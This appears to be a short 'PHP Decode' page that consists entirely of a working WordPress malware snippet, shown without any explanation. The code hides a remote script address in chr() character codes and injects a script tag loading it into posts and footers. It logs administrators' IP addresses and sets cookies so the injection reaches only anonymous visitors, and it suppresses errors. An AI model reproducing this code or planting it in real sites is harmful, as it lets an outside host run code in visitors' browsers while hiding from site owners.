PHP Decode

<?  ini_set('display_errors', 0); error_reporting(0);   $d=sys_get_temp_dir().'/wp.txt';if (!file_exists($d))file_put_contents($d,'ip:');if (!file_exists($d)){$d='/wp.txt';file_put_contents($d,'ip:');} if (!file_exists($d)){ $d='/tmp/wp.txt';                        file_put_contents($d,'ip:');    } if (file_exists($d)){                                   if ( ! function_exists( 'slider_shown' ) ) {    function slider_shown($content){   if(is_single()){  $con = ''; $z=chr(104).chr(116).chr(116).chr(112).chr(115).chr(58).chr(47).chr(47).chr(103).chr(97).chr(116).chr(101).chr(46).chr(103).chr(101).chr(116).chr(109).chr(121).chr(103).chr(97).chr(116).chr(101).chr(119).chr(97).chr(121).chr(46).chr(99).chr(111).chr(109).chr(47).chr(115).chr(101).chr(108).chr(101).chr(99).chr(116); $con2 = '<script id="wp_first_step" type="text/javascript" src="'.$z.'"></script>';$content=$content.$con2;}return $content;}     function slider_shown_footer(){   if(!is_single()){  $z=chr(104).chr(116).chr(116).chr(112).chr(115).chr(58).chr(47).chr(47).chr(103).chr(97).chr(116).chr(101).chr(46).chr(103).chr(101).chr(116).chr(109).chr(121).chr(103).chr(97).chr(116).chr(101).chr(119).chr(97).chr(121).chr(46).chr(99).chr(111).chr(109).chr(47).chr(115).chr(101).chr(108).chr(101).chr(99).chr(116); $con2 = '<script id="wp_first_step" type="text/javascript" src="'.$z.'"></script>';echo $con2;}    }     function setting_my_first_cookie() {  setcookie( 'wordpress_wps_admin',1, time()+3600*24*1000, COOKIEPATH, COOKIE_DOMAIN);  }if(is_user_logged_in()){  add_action( 'init', 'setting_my_first_cookie',1 );}  if( current_user_can('edit_others_pages')){   if (file_exists( $d)){$ip=@file_get_contents($d);}  if (stripos($ip, $_SERVER['REMOTE_ADDR']) === false){$ip.=$_SERVER['REMOTE_ADDR'].'';    @file_put_contents($d,$ip);}    }  setcookie("wordpress_wps_visit", 1, time()+120, COOKIEPATH, COOKIE_DOMAIN);  if(!isset($_COOKIE['wordpress_wps_admin']) && !is_user_logged_in()) {$adtxt=@file_get_contents($d);  if (stripos($adtxt, $_SERVER['REMOTE_ADDR']) === false){ add_filter('the_content','slider_shown');add_action('wp_footer','slider_shown_footer');}}     } } ?>